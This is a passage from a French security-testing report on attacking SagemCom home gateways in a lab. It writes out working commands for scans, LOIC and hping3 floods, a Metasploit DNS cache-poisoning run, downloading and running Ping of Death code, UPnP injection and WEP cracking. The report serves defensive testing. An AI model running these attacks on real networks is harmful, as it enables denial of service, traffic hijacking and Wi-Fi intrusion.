nmap -g 20 -p 20,21 -sS -T4 -v 192.168.1.1

nmap -p 20,21,53,67,80,443 -sS -T4 -v 192.168.1.1

nmap -p 1-65535 -sN -T4 -v 192.168.1.1

nmap -p 1-65535 -sF -T4 -v 192.168.1.1

nmap -p 1-65535 -sX -T4 -v 192.168.1.1

nmap -p 1-65535 -sA -T4 -v 192.168.1.1


Page 54

Présentation des résultats du scan

Zenmap présente les résultats de scan d’une façon claire en mettant en évidence les

informations importantes (Voir figure 25).

Figure 24 Résultat d’un simple scan des ports et services

Test2 : scan des services

En se basant sur les résultats du premier test, nous essayons de déterminer le nom et la version

des services tournant sur le TR. Comme prévu, il existe certains service qui tournent sur un port non

standard. Avec Nmap, nous lançons cette commande :

-sV : Détection des services.

Remarque :

Il existe plusieurs autres options offertes par nmap pour la détection des services comme

l’option « --version-intensity <intensity> ». La valeur d'intensité doit être comprise entre 0 et

9, la valeur par défaut étant le 7.

La détection des services n’est pas toujours efficace, surtout si la cible est un équipement

réseaux contrairement aux serveurs et aux PCs car les services des TRs sont spécifiques. Pour

les versions des services non reconnus, Nmap génère une signature de service afin de

contribuer et améliorer la base de données des services utilisée par Nmap (Voir Figure 25).

nmap -p 20,21 -sV -v 192.168.1.1


Page 55

Test3 : détection d’OS

La détection d’OS est importante pour les étapes qui suivent dans le pentesting. Les résultats

de ce test et du test 2 nous aident à acheminer notre recherche dans les failles et les vulnérabilités

possibles sur les TRs car il est inutile de tester des attaques et des exploits sur des services sans

connaitre l’OS. Les attaques sont généralement dédiées pour un système d’exploitation bien défini.

La commande permettant la détection d’OS sous Nmap est :

-O : détection d’OS.

Remarque :

La détection d’OS n’est efficace que s’il existe au moins un port ouvert et un autre fermé sur

le système scanné. L’option --osscan-limit ne permet la détection d’OS que si le critère ci-

dessus n’est présent.

Dans certain cas, Nmap n’arrive pas à détecter l’OS exacte de la cible, pour cela il offre

l’option--osscan-guess ou --fuzzy pour générer plusieurs possibilités avec des pourcentages de

certitude (Voir figure 25).

Figure 25 Exemple détection d'OS

2.1.3. Profils de scan Zenmap

Les tests décrits ci-dessus ont pour but d’éviter le gaspillage de temps car chaque test aboutie à

un résultat spécifique. Nous pouvons combiner tous ces types de scan dans un seul en utilisant les

profils de scan Zenmap :

nmap -O -v 192.168.1.1


Page 56

Intense scan, all TCP ports:

-p : les ports à scanner.

-T4 : Timing (0-5), Faster execution.

-A : Scan agressif, détection du système d’exploitation et les versions des services, script

scanning et traceroute.

-v : mode « Verbose ».

Intense scan plus UDP:

-sS : TCP SYN Scan

-sU : UDP Scan

-T4 : Timing (0-5), Faster execution.

-A : Scan agressif, détection du système d’exploitation et les versions des services, script

scanning et traceroute.

Slow comprehensive scan :

Dans ce profil de scan, tous les ports TCP et UDP sont scannés ainsi que les versions des

services et tous les scripts sont utilisés.

Nmap offre la possibilité du « Scripting Scan ». Cette fonctionnalité permet l’automatisation

des scans personnalisés. Par défaut, « nmap » offre une grande bibliothèque des scripts tels que

détection des vulnérabilités, des backdoors, des exploitations sur certains services, etc.

-PE : ping echo pour voir si la machine répond ou pas.

-PS : Découverte TCP SYN.

-PA : Découverte TCP ACK.

-PU22

: Découverte UDP.

2.2. Scan des vulnérabilités

Dans cette partie nous parlons de deux types de scanneurs : scanneur des vulnérabilités

automatiques et des scanneurs des vulnérabilités web.

22 Les options PS/PA/PU peuvent être utilisées en spécifiant les numéros des ports à tester, ou scanner les ports par défauts s’ils sont utilisés sans arguments.

nmap -sS -sU -T4 -A -v -PE -PS -PA -PU --script all 192.168.1.1

nmap -sS -sU -T4 -A -v 192.168.1.1

nmap -p 1-65535 -T4 -A -v 192.168.1.1


Page 57

2.2.1. Scanneurs des vulnérabilités automatiques

Dans le chapitre précédent nous avons listé plusieurs scanneurs. En se basant sur l’étude

comparative, nous choisissons la version gratuite de Nessus car elle est extensible et personnalisable et

offre les fonctionnalités nécessaires pour nos tests, au contraire des autres scanneurs (exemple :

OpenVas est extensible mais il se base sur des outils qui nécessite une installation et une configuration

additionnelles).

2.2.1.1. Outil de tests

Sous BackTrack Nessus est installé par défaut, il ne reste que son activation. Pour ce faire, il

faut récupérer la clé d’activation du site officiel. Il faut ensuite utiliser ces commandes qui nécessitent

une connexion internet.

Il faut créer d’abord un utilisateur administrateur pour Nessus :

Ensuite lancer Nessus :

Le service Nessus tourne sur le port 8834 en utilisant son propre certificat. En accédant sur

https://localhost:8834/, un utilisateur peut se connecter pour démarrer, créer ou configurer un scan ou

un profile de scan (Voir figure 27).

root@bt:~# /etc/init.d/nessusd start

Starting Nessus : .

root@bt:~# /opt/nessus/sbin/nessus-adduser

Login : root

Login password :

Login password (again) :

Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]:

y

User rules

----------

nessusd has a rules system which allows you to restrict the hosts

that carlos has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :

(the user can have an empty rules set)

Login : root

Password : ***********

This user will have 'admin' privileges within the Nessus server

Rules :

Is that ok ? (y/n) [y]

User added

root@bt:~# /opt/nessus/bin/nessus-fetch --register M4D0-EWWQ-1EZU-3KSN

Your activation code has been registered properly - thank you.

Now fetching the newest plugin set from plugins.nessus.org...

Your Nessus installation is now up-to-date.

If auto_update is set to 'yes' in nessusd.conf, Nessus will

update the plugins by itself.


Page 58

Figure 26 Page de connexion

2.2.1.2. Tests réalisés

L’utilisation des profils par défaut est un gaspillage de temps puisqu’ils utilisent tous les

plugins disponibles y comprit ceux de Windows et quelques technologies non utilisées dans les

systèmes embarqués. Pour cela, il est indispensable de créer nos propres profils de scan.

Figure 27 Créer profile

Test4 : Scan à partir du LAN

Dans ce scan, nous utilisons trois politiques de scans :

Customized Internal Network Scan : c’est une politique de scan personnalisée basée sur

« Internal Network Scan ». Afin d’optimiser le scan nous désactivons les plugins relatifs à

Windows et au VMWare, car nous savons d’avance que l’OS de la GW est basé sur LINUX.

Pour ce faire, nous accédons sous Preferences -> Global variable settings puis nous cochons «

Throrough tests (slow) » pour forcer Nessus à continuer l’exploit s’il trouve une faille. Sous

Preferences -> HTTP login page nous remplissons les champs avec les informations


Page 59

nécessaires. (ces informations peuvent être récupérées en utilisant le plugin Firefox « Live

HTTP Headers »23

et « firebug »24

)

Figure 28 Configuration des plugins

Web App Tests : est un profil pour scanner les applications WEB.

Prepare for DCI PSS audits: est un profil pour un scan des vulnérabilités respectant les

clauses d’audit DCI PSS.

Test5 : Scan à partir du WAN

Dans le scan réalisé à partir d’un PC WAN, nous utilisons une seule politique de scan :

Customized External Network Scan : Politique personnalisée basée sur la politique par défaut

«External Network Scan », nous désactivons les plugins Windows et VMWare. Sous

Preferences -> Global variable settings nous cochons « Throrough tests (slow) » pour forcer

Nessus à continuer l’exploit s’il trouve une faille.

Résultat de scan :

Les résultats des scans peuvent être exportés vers plusieurs types de fichiers: Nessus, HTML,

etc. Les fichiers Nessus sont des fichiers XML. Ils peuvent être utilisés par d’autres outils tels que

Metasploit (Voir Annexe 3 et Annexe 4). Les rapports des scans sont clairement représentés. Ils sont

classés par numéro de port pour le quel est associé l’ensemble possibles des failles avec leur sévérité.

23 Plugin Firefox qui détecte et analyse les requêtes HTTP. 24 Plugin Firefox qui analyse et modifie le contenu de la page web. Il offre une console JavaScript.


Page 60

Figure 29 Exemple du résultat

2.2.2. Scanneurs des vulnérabilités Web

Dans cette partie nous nous concentrons sur les scanneurs des vulnérabilités web. Comme il

est présenté dans le chapitre précédent, les scanneurs disponibles sur le marché ne sont pas utiles à

100% dans notre cas. Pour cela, nous réalisons des tests manuels, en suivant la méthode OWASP.

2.2.2.1. Outils de tests

Nikto peut être intégré avec Nessus, dans ce cas Nessus se charge de faire le plus grand

nombre de scans avec Nikto. Cela peut nous faire gagner énormément de temps dans les tests et

centraliser le résultat dans Nessus. Pour cela il faut vérifier bien que le fichier « nikto.nasl » existe

dans «/opt/Nessus/lib /nessus/plugins ».

L’utilisation d’un proxy web est nécessaire pour la réalisation des tests. Dans notre cas, nous

utilisons le proxy OWASP-ZAP qui permet la réception, l’analyse et même la modification de

requêtes envoyées vers le TR. Pour cela il faut configurer le navigateur pour qu’il se connecte via le

proxy.

2.2.2.2. Tests réalisés

Test4: Fuzzing avec OWASP-ZAP

L’utilisation de ce proxy web nous aide à faire des tests sur la GUI après l’authentification.

Avec ZAP, nous réalisons un test de « fuzzing ». Dans ce test nous allons intercepter les requêtes

ls -l /opt/nessus/lib/nessus/plugins/nikto.nasls

/opt/nessus/sbin/nessusd -R // pour redémarrer Nessus


Page 61

envoyées vers le TR lors de sa configuration à partir de la GUI puis nous injectons des données avec

une taille importante (exemple : 700 000 caractères, ‘a’ par exemple)

Figure 30 Exemple Fuzzing

Le but de ce test est de vérifier si le TR fait un contrôle sur les données reçues ou se limite au

contrôle réalisé coté client.

Ci-dessous nous présentons quelques tests réalisés en suivant la méthode OWASP [23].

ID-OWASP Tests Outils Description

owasp-cm-001 SSL/TLS THC-SSL-DOS Attaque DOS ciblant le service SSL

owasp-cm-008 Méthodes HTTP supportées par le serveur

Nessus Plugin id: 43111

GET HEAD POST, reste à vérifier par un autre outil. la méthode TRACE n'est pas acceptée

owasp-at-002 énumérer les utilisateurs

- réaliser plusieurs essaie de connexion avec des différentes combinaisons.

owasp-at-004 brute force Attack sur le login et mot de passe

hydra l'authentification au gui et de type "HTTP form based authentification" et utilise deux nombres aléatoirement pour chaque session à ouvrir.

Tableau 9 Tests owasp réalisés

Test5: owasp-cm-001 SSL/TLS

Ce test cible le service SSL sur le TR, en se basant sur les résultats de scan des services. Avec

l’outil « THC-SSL-DOS » nous lançons plusieurs demandes de connexions sécurisées25

sur le TR

sans attendre la réponse (même principe de l’attaque SYN Flood).

Le but de ce test est de vérifier le comportement de TR après une telle attaque notamment la stabilité

de ces différents services.

25 L’établissement d’une connexion SSL requit 15x plus de performance pour le serveur que pour le client [19].

./thc-ssl-dos <@IP> <n° port>


Page 62

Test6: owasp-cm-008 Méthodes HTTP supportés

Certaines méthodes http (pour préciser la méthode TRACE) peuvent aider à la réalisation de

quelques attaques comme XSS (Cross Site Scripting), XST (Cross Site Tracing). Pour cela il y a deux

méthodes :

Automatique : avec Nessus, après la détection d’un ou de services HTTP, il détermine les

méthodes autorisées à l’aide du plugin n°43111.

Manuelle : à l’aide d’un client Telnet ou avec netcat, nous pouvons connaître ces méthodes :

Test7: owasp-at-004 énumérer les utilisateurs

Ce test à pour but de lister les utilisateurs possibles sur le système (TR dans notre cas). Ce

scénario ne nécessite aucun outil. Il suffit de tester plusieurs combinaisons de login et mot de passe

puis analyser les réponses du serveur (Utilisateur valide / mot de passe non valide, utilisateur non

valide/ mot de passe non valide, etc).

Test8: owasp-at-004 brute force attack

Le but de ce test est de déterminer le mot de passe d’un utilisateur. Ce teste vise à vérifier si

les TRs implémentent un mécanisme contre ce type d’attaque ou non. Avant d’entamer l’attaque, nous

devons d’abord déterminer à partir du code source de la page d’authentification la méthode

d’authentification (authentification HTTP ou authentification basé sur le « FORM »). Dans notre cas

le TR utilise deux nombres aléatoires pour chaque session à ouvrir. Donc la réalisation de cette attaque

nécessite des outils très sophistiqués qui offrent la possibilité de récupération des paramètres après

chaque essai de connexion et de les injecter dans une nouvelle requête à envoyer.

2.3. Attaques et exploits

Dans cette partie, en se basant essentiellement sur les résultats de scan des ports nous

procédons comme suit : tout d’abord nous déterminons les ports ouverts sur le système ensuite nous

identifions les versions des services et enfin son OS. Ces trois informations sont très utiles pour

orienter les tests dans le bon sens sans perdre du temps.

Dans ce qui suit nous réalisons un ensemble des tests nécessaires pour garantir la robustesse

des TRs SagemCom contre les nouvelles attaques ainsi que les anciennes.

nc www.victim.com 80

OPTIONS / HTTP/1.1

Host: www.victim.com

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Tue, 31 Oct 2006 08:00:29 GMT

Connection: close

Allow: GET, HEAD, POST, TRACE, OPTIONS

Content-Length: 0


Page 63

2.3.1. Outils de tests

LOIC : il est dédié pour les attaques de type DDOS, déjà utilisé par « Anonymous » lors de

leurs attaques sur les sites gouvernementaux pendant la révolution Tunisienne en décembre 2010 et

beaucoup d’autres attaques utilisées un peu partout dans le monde. Pour effectuer cette attaque, il tente

d'attaquer par déni de service distribué (DDOS ) le site ciblé en inondant le serveur avec des paquets

TCP, des paquets UDP, ou des demandes HTTP avec l'intention de perturber le service d'un hôte

particulier [24].

UnrealIRC : c’est un serveur de messagerie instantanée basé sur le protocole de

communication textuelle sur internet (Internet Relay Chat : IRC) qui permet à des clients IRC de créer

une connexion avec une machine distante considérée comme le serveur IRC. Il sert à la

communication instantanée principalement sous la forme de discussions en groupe par l’intermédiaire

des canaux de discussion et peut jouer comme dans notre cas le rôle d’un serveur C&C : command and

control server. UnrealIRCd est riche en fonctionnalités, citons comme exemple le server-to-server

linking, l’auditing mais aussi le filtrage de message.

XChat IRC : C’est un client IRC utilisé par l’administrateur de l’attaque pour contrôler les

clients LOIC (paramétrage des cibles, le type de l’attaque : HTTP, TCP, UDP, etc).

Hping : C’est un générateur de paquets et un outil d’audit sécurité. « hping » peut être utilisé

pour lancer des attaques de type DDOS telles que Syn Flood, UDP Flood et ICMP Flood. Afin de

réaliser des attaques efficaces, nous lançons les tests de plusieurs machines en même temps.

2.3.2. Tests réalisés

Test9: (TCP/UDP/HTTP Flood)

Topologie du réseau

IRC Server:

OS: Linux (Back Track 5).

Adresse IP: 192.168.1.2/24.

Applications et services : Serveur IRC « UnrealIRCD ».

PC Desktop # et PC Portable:

OS: Windows XP SP2, Windows Vista et Linux (Back Track 5).

Adresse IP: 192.168.1.[3-8]/24.

Applications et services : LOIC V 1.1.1.25.


Page 64

Figure 31 Architecture réseau de l'attaque

Procédure de l’attaque

Nous vérifions bien que « unreal » est en cours d’exécution. Par la suite, nous créons un canal

IRC et nous lançons le client IRC « XChat » puis nous configurons le serveur sur lequel nous allons

nous connecter. Nous choisissons le serveur et nous appuyons sur « Connect » puis nous créons le

canal « #sagemseclabDDOS » dont les clients IRC dans notre cas « LOIC ». Les clients IRC connectés

sur le canal sont affichés à droite (Voir figure 33).

Figure 32 Fenetre XCHAT (Administrateur)


Page 65

Configuration du LOIC

Sur les machines Windows, il suffit d’exécuter « LOIC » (Voir figure 34).

Figure 33 Interface LOIC

Sur les machines « BackTrack 5», nous pouvons exécuter LOIC en accédant au dossier et en ajoutant

le droit d’exécution au fichier « LOIC.exe » puis en le lançant avec la commande « wine ».

Lancement de l’attaque

Depuis le client XCHAT, l’administrateur du canal, lance l’attaque avec l’envoi de cette commande

aux clients :

targetip: le serveur web cible.

message : sera mit dans la partie donnée du paquet tcp ou udp.

port : port 80 du serveur web.

methode : tcp, udp ou http.

start : pour lancer l’attaque.

!lazor targetip=192.168.1.1 message=DDOS_ATTACK port=80 method=tcp wait=false random=true

start

cd /root/Desktop/tools/loic.v1.1.1.25

chmod +x LOIC.exe

wine LOIC.exe


Page 66

Figure 34 Lancement de l'attaque

Test10 : (SYN/UDP/ICMP Flood)

Scénario 1 : SYN Flood

L’envoi des paquets SYN successifs sans attendre la réponse du serveur engendre la mise hors

service de la GW pendant et après l’attaque. Le but de cette attaque est de mettre hors service la GUI.

-S : Paquets « SYN ».

-p : le port destination 80.

-i : le nombre de paquets envoyés par seconde est u10 signifiant un paquet chaque

microseconde (1paquet/µSec).

Scénario 2 : UDP Flood

Cette attaque à pour but d’envoyer plusieurs paquets UDP sur un port bien précis. Dans notre

cas le but est d’attaquer le serveur DHCP de la GW.

--udp : envoi des paquets UDP.

-s : Port source, 68 protocole « DHCP ».

-p : Port destination, 67 protocole « DHCP ».

-i : u1, 1 paquet/µS.

hping3 –-udp –s 68 –p 67 –i u10 192.168.1.1

hping3 –S –p 80 –i u10 192.168.1.1


Page 67

Scénario 3 : ICMP Flood

L’attaque ICMP Flood consiste à envoyer plusieurs paquets ICMP de type (echo Request) avec des

adresses IP différentes vers un serveur.

--icmp : le type des paquets à forger.

--rand-source : envoie des paquets avec des adresses IP spoofées.

Test11 : Dns cache poisoning

Cette attaque consiste à modifier le cache d’un serveur DNS afin d’orienter les demandes des

connexions vers un serveur malicieux autre que le serveur demandé.

Etape d’attaque :

Un utilisateur malicieux envoie une requête DNS à son serveur de noms associée (SERVER

A) pour résoudre le nom de domaine (example.com).

Si (SERVER A) n’a pas l’adresse IP associé au nom de domaine, il envoie une requête DNS à

un autre serveur DNS (SERVER B) et ainsi de suite jusqu'à trouver l’adresse IP demandée.

L’attaquant envoie plusieurs milliers de réponses DNS au (SERVER A) avec l’adresse

spoofée du (SERVER B) avec des identifiants aléatoires. L’adresse IP contenue dans la

réponse est celle d’un autre serveur (appartenant à l’attaquant)

Etant donné l’attaque est réussite (SERVER A), ce dernier écrit dans son cache adresse IP de

l’attaquant.

Toutes les nouvelles demandes de résolution du (example.com) seront répondues par une

fausse adresse IP.

Vulnérabilité :

Version : BIND 9.6.1-P2. Avec « DNSSEC validation enabled », « checking disabled (CD) »

où le serveur supporte les requêtes récursives est vulnérable pour une attaque de type « DNS Cache

Poisoning ». L’exploit de cette faille est disponible sur le site « Exploit Database » ou directement sur

« Metasploit Framework 3 » [25].

Scénario de test :

Scanner les ports ouverts sur la passerelle afin de déterminer la version du serveur DNS

implémenté s’il existe.

Attaque DNS cache poisoning (l’utilisation de l’exploit selon la version de serveur DNS)

Le résultat de test doit être comme suit: modifier le cache DNS afin de fournir l’adresse IP

Google.fr au lieu de l’adresse Yahoo.fr.

hping3 –-icmp –i u1 --rand-source 192.168.1.1


Page 68

Exploitation :

Avant de lancer l’exploit, nous devons déterminer les ports ouverts sur la passerelle pour

déterminer la version du serveur DNS s’il existe.

Remarque :

Les résultats du scan ne sont pas toujours justes, c’est le cas de ce scan car la passerelle est

joue le rôle d’un « DNS Relay ».

Pour déterminer l’adresse IP du serveur google.fr, on exécute les commandes suivantes :

Pour tester l’exploit sur le serveur « Bind 9.6.1-P2 », sous le terminal nous lançons « metasploit » :

Pour lancer l’exploit nous exécutons les commandes « Metasploit » suivantes :26

26 Le ou les serveurs DNS utilisés par le TR peuvent être récupérés à partir de la GUI.

, ,

/ \

((__---,,,---__))

(_) O O (_)_________

\ _ / |\

o_o \ M S F | \

\ _____ | *

||| WW|||

||| |||

=[ metasploit v4.1.0-release [core:4.1 api:1.0]

+ -- --=[ 748 exploits - 384 auxiliary - 92 post

+ -- --=[ 228 payloads - 27 encoders - 8 nops

=[ svn r13994 updated 6 days ago (2011.10.18)

cd /pentest/exploits/framework3/

./msfconsole

Envoi d'une requête 'ping' sur www.l.google.com [74.125.39.147] avec 32 octets

ping www.google.fr

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-21 12:08 CET

Warning: 192.168.0.1 giving up on port because retransmission cap hit (6).

Nmap scan report for HomeGateway.home (192.168.0.1)

Host is up (0.00089s latency).

Not shown: 1982 closed ports

PORT STATE SERVICE VERSION

80/tcp open http?

2222/tcp open EtherNet/IP-1?

53/udp open domain ISC BIND 9.6.1-P2

67/udp open|filtered dhcps

68/udp open|filtered dhcpc

……………

nmap -sU -sV -p53 -T4 192.168.0.1


Page 69

Configurer les paramètres :

La commande « check » vérifie l’exploit avant de le lancer sur la cible. Elle permet de déterminer si le

serveur DNS est vulnérable à cette attaque ou non :

Test12: Attaque Ping Of Death

Description:

L’attaque consiste à envoyer un ou plusieurs paquets ICMP de type echo-request dont la taille

est supérieure à 65507 Octets. Les paquets sont alors fragmentés. Cette attaque provoque l’arrêt du

système d’exploitation [26]. Les systèmes vulnérables sont :

Windows (95, NT, 3.11).

[*] Using the Metasploit service to verify exploitability...

[-] ERROR: This server is not replying to recursive requests

msf auxiliary(bailiwicked_host) > check

msf auxiliary(bailiwicked_host) > set hostname yahoo.fr

hostname => yahoo.fr

msf auxiliary(bailiwicked_host) > set newaddr 74.125.39.147

newaddr => 74.125.39.147

msf auxiliary(bailiwicked_host) > set rhost 192.168.0.1

rhost => 192.168.0.1

msf auxiliary(bailiwicked_host) > set recons 10.64.16.3

recons => 10.64.16.3

msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

Name Current Setting Required Description

---- --------------- -------- -----------

HOSTNAME yahoo.fr yes Hostname to hijack

INTERFACE no The name of the interface

NEWADDR 74.125.39.147 yes New address for hostname

RECONS 10.64.16.3 yes The nameserver used for reconnaissance

RHOST 192.168.0.1 yes The target address

SNAPLEN 65535 yes The number of bytes to capture

SRCADDR Real yes The source address to use for sending the

queries (accepted: Real, Random)

SRCPORT yes The target server's source query port (0 for

automatic)

TIMEOUT 500 yes The number of seconds to wait for new data

TTL 31556 yes The TTL for the malicious host entry

XIDS 0 yes The number of XIDs to try for each query (0 for

automatic)

msf > use auxiliary/spoof/dns/bailiwicked_host

msf auxiliary(bailiwicked_host) > show options

Module options (auxiliary/spoof/dns/bailiwicked_host):

Name Current Setting Required Description

---- --------------- -------- -----------

HOSTNAME pwned.example.com yes Hostname to hijack

INTERFACE no The name of the interface

NEWADDR 1.3.3.7 yes New address for hostname

RECONS 208.67.222.222 yes The nameserver used for reconnaissance

RHOST yes The target address

SNAPLEN 65535 yes The number of bytes to capture

SRCADDR Real yes The source address to use for sending the

queries (accepted: Real, Random)

SRCPORT yes The target server's source query port (0 for

automatic)

TIMEOUT 500 yes The number of seconds to wait for new data

TTL 31556 yes The TTL for the malicious host entry

XIDS 0 yes The number of XIDs to try for each query (0 for

automatic)

Le nom de domaine à modifier

La nouvelle adresse IP, dans notre cas 74.125.39.147

Le DNS utilisé par la passerelle

L’adresse IP de la victime


Page 70

MSDOS.

Mac OS 7.

Solaris (x86) 2.4 & 2.5.

Linux Kernel <= 2.0.23.

Outils :

PingOfDeath.c est un code source développé par Jeff w.Roberson, téléchargeable à partir du

site Inifinity Exists. Cet outil permet d’envoyer des paquets ICMP fragmentés avec une adresse IP

spoofée.

Procédure de l’attaque :

Téléchargement du code source :

Compilation du code et génération de l’exécutable « PoD » :

Exécution de l’attaque :

o 192.168.1.1 : Adresse de la GW.

o 1.1.1.1 : Adresse spoofée.

Sending to 192.168.1.1





./PoD 192.168.1.1 1.1.1.1

gcc PingOfDeath-Jolt.c -o PoD

--2011-10-12 16:55:31-- http://infinityexists.com/downloads/PingOfDeath-Jolt.c

Resolving infinityexists.com... 69.163.252.17

Connecting to infinityexists.com|69.163.252.17|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 4013 (3.9K) [text/x-c]

Saving to: `PingOfDeath-Jolt.c.1'

100%[========================================================>] 4,013 13.8K/s in

0.3s

2011-10-12 16:55:32 (13.8 KB/s) - `PingOfDeath-Jolt.c.1' saved [4013/4013]

wget http://infinityexists.com/downloads/PingOfDeath-Jolt.c


Page 71

Résultat de l’attaque :

Ci-dessous, un imprime écran du sniffeur Wireshark pendant l’attaque :

Figure 35 Capture de trafic lors de l'attaque

2.3.3. Anciennes attaques

TearDrop Attack

Plus connue sous le nom de Teardrop Attack, Bonk ou encore Boink, cette attaque utilise une

faille propre à certaines piles TCP/IP. Cette vulnérabilité concerne la gestion de la fragmentation IP.

Ce problème apparaît lorsque la pile reçoit le deuxième fragment d'un paquet TCP contenant comme

donnée le premier fragment. La pile TCP/IP peut s'avérer incapable de gérer cette exception et le reste

du trafic. Cette faille est très connue sur plusieurs OS27

.

Land Attack

Cette attaque consiste à envoyer des paquets dont l’adresse IP et le port source et destination

sont les mêmes. Cette attaque affecte les anciens systèmes d’exploitations. Les systèmes vulnérables

sont Windows (95, NT 4.0), HP-AIX (<=9.00). Les systèmes Linux ne sont pas vulnérables à cette

attaque.

27 OS vulnérables à TearDrop Attack : IBM AIX, WindRiver BSDOS, SGI IRIX, Linux Kernel , Sun Solaris,

IBM OS2, Microsoft Windows 95, Data General DG/UX, Microsoft Windows NT: 4.0, Microsoft Windows 98,

Novell NetWare, SCO SCO Unix, Microsoft Windows 98SE, Microsoft Windows 2000, Microsoft Windows

Me, Compaq Tru64, Microsoft Windows XP, SCO Caldera OpenLinux: 1.1, Apple Mac OS, Microsoft

Windows 2003 Server [27].


Page 72

The Tiny Fragment Attack

C’est une attaque à fragmentation des paquets sur plusieurs petits fragments dans le but de

forcer le décalage de quelques informations de l’entête TCP vers d’autres fragments. Elle engendre

l’instabilité des anciens systèmes [28].

Zero length IP

Cette attaque permet à un attaquant à distance d’envoyer des milliers de paquets IP avec une

taille nulle. Ceci provoque le crash de quelques système (Linux Kernel => à 2.2.4 ne sont plus

vulnérables à cette attaque) [35].

WinNuke Attack

Cette attaque provoque le crash de quelques systèmes d’exploitation Windows [29].

Smurfing attack

C’est une attaque de type DDOS où l’attaquant envoie en diffusion sur le réseau une requête

ICMP de type echo-request avec l’adresse spoofée de la victime. La réponse simultanée de toutes les

machines du réseau provoque l’instabilité du système. Cette attaque ne présente aucun risque face à la

puissance actuelle des machines [30].

IP Spoofing

Cette technique (Voir figure 37) permet de cacher la vraie identité d’un attaquant lors de son

attaque. L’IP Spoofing est la base de plusieurs attaques. Dans notre cas nous étudions l’attaque vol de

session ou en anglais « Hjacking ». Cette attaque sert à voler la session de connexion entre un serveur

et une machine de confiance [31].

Figure 36 Attaque à base de l’IP Spoofing


Page 73

Remarque :

Pour garder la connexion avec le serveur, il existe plusieurs techniques:

Sniffing sur le réseau, puis réalisiation de statistiques permettant la prédiction du bon numéro

de séquence (la plupart des machines actuelles ne permet pas cette option).

L’exploitation de l’option « Source Routing » du protocole IP afin de définir le chemin de

retour des paquets envoyés.

« Blind attack » basée sur la prédiction de numéro de séquence.

Après un scan intensif avec nmap (Voir Test2: Scan des services) l’indice de difficulté est très haut

« TCP Sequence Prediction », cela indique que la prédiction est presque impossible et demande des

algorithmes très sophistiqués ainsi qu’une bande passante énorme [32].

3. Module UPnP

3.1. Présentation des tests

Dans le chapitre précédent, nous avons présenté le protocole UPnP ainsi que les risques qu’il

peut présenter pour les TRs. Dans cette partie, nous fixons quelques tests pour vérifier la sécurité des

TRs liée à l’activation d’UPnP. Ces tests visent les IGD et ils sont répartis comme suit :

Test12: ajout d’une règle portmapping invalide.

Test13 : injection du code.

3.2. Tests realisés

Test13: ajout d’une règle portmapping invalide

But

Le but de ces tests est de vérifier si les TRs sont vulnérables aux attaques UPnP connus.

Déroulement de test

Tous d’abord nous devons déterminer les équipements UPnP disponibles avec l’outil «

UGUPnP Universal Control Point ».

TCP Sequence Prediction: Difficulty=204 (Good luck!)


Page 74

Figure 37 Détection des équipements UPnP sur le réseau

Par la suite, nous vérifions l’existence du profile « WANIPConnection ». S’il existe nous

choisissons l’action « AddPortMapping » et nous essayons d’ajouter une règle port mapping dont

l’attribue « NewInternelClient = 8.8.8.8».

Figure 38 Action AddPortMapping

Enfin, nous vérifions si cette règle est ajoutée ou pas avec l’une de ces deux méthodes :

GetGenericPortMappingEntry : action pour la récupération d’une règle portmapping, elle

prend en entrée l’index de la règle et retourne ses différents attribues.


Page 75

GetSpecificPortMappingEntry : action pour la récupération d’une règle portmapping, elle

prend en entrée le numéro du port distant, l’adresse IP destination et le protocole et retourne

ses différents attribues.

Figure 39 Actions GetSpecificPortMapping et GetGenricPortMapping

Test14: injection du code

Même étape à suivre de l’autre test, mais au lieu d’utiliser une autre adresse IP, nous injectons

un code ou une commande. Etant donner que les systèmes d’exploitation de la plus part des

équipements réseau sont basés sur « Linux Kernel » nous essayons quelques commandes connus

comme « reboot », « halt », etc.

Dans nos tests, nous procédons de deux manières différentes. En effet, nous utilisons la

méthode « Black Box » et nous injectons des commandes linux d’une façon aléatoire. Aussi, nous

utilisons la méthode « White Box » et nous injectons des commandes qui existent réellement sur l’OS

du TR.

4. Module WIFI


Pour le module WIFI, nous réalisons les attaques les plus connues dans le monde du WIFI.

Test14 : Craquage des clés de chiffrement.

Test15 : Perturbation des connexions.


Page 76

4.2. Tests réalisés

Test15 : Craquage des clés de chiffrement

Les TRs SagemCom offre deux types de chiffrement (WEP et WPA). Comme il est décrit

dans le chapitre précédent, le craquage des clés WEP est très simple vu la faiblesse dans l’algorithme

de chiffrement. Par contre, le craquage des clés WPA/WPA2 est impossible28

sauf avec une attaque de

type dictionnaire (nécessite la détection d’authentification d’un client).

Scénario 1 : Craquage clé WEP

Cette attaque est très connue et il existe une gamme complète d’outils permettant sa réalisation

d’une façon automatique. Ci-dessous, nous décrivons le déroulement du scénario :

Activer la carte wifi en mode monitor :

6 : canal d’écoute

Capturer le trafic avec la commande airodump-ng :

-c 6: Commencer l’écoute sur le canal numéro 6

--bssid : adresse MAC du point d’accès.

-w : fichier de captures.

Utiliser aireplay-ng pour réaliser des fausses authentifications avec le point d’accès. Le but de

cette étape est d’associer l’adresse mac au point d’accès :

-1 : envoi des requêtes d’authentification au point d’accès.

-e : nom du réseau.

-a : adresse MAC du point d’accès.

-h : adresse MAC source.

28 En 2008 deux chercheurs allemands en sécurité, Erik Tews et Martin Beck3, ont annoncé avoir découvert une

faille de sécurité dans le mécanisme de sécurité WPA utilisé avec l'algorithme TKIP (Temporal Key Integrity

Protocol) et en 2009, des chercheurs japonais, Masakatu Morii et Toshihiro Ohigashi, mettent au point une

attaque permettant, en une minute, de falsifier des paquets de type ARP ou DNS.

aireplay-ng -1 0 -e sagemseclab -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output wifi0

airmon-ng start wifi0 6

http://fr.wikipedia.org/w/index.php?title=Erik_Tews&action=edit&redlink=1

http://fr.wikipedia.org/w/index.php?title=Martin_Beck&action=edit&redlink=1

http://fr.wikipedia.org/w/index.php?title=Martin_Beck&action=edit&redlink=1

http://fr.wikipedia.org/wiki/TKIP


Page 77

